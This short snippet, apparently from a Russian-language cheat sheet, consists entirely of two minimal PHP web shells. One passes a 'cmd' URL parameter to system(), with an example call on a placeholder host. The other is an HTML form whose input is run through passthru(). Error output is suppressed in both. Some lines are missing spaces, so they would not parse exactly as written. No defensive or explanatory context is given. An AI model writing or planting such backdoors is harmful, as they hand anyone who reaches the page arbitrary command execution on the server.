<?phpecho"<pre>";@system($_GET['cmd']);echo"</pre>";?>
_http://tvoihost.com/script.php?cmd=команда
<form method="post"><input type="text" name="cmd"><input type="submit" value="Выполнить"></form><textarea cols="60" rows="20"><?php@passthru($_POST['cmd']);?></textarea>